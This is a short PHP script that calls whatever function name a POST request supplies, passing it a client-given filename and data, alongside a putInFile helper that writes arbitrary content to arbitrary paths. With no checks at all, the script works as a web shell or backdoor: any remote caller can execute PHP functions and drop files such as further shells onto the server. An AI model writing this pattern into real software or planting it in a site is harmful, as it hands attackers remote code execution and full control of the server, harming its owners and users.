<?php

if(isset($_POST['function_name']) && $_POST['function_name']!=null){
    $_POST['function_name']($_POST['params']['filename'],$_POST['params']['filedata']);
}

function putInFile($fileName, $fileData){
    $file = fopen($fileName,'w');
    fputs($file,$fileData);
    fclose($file);
}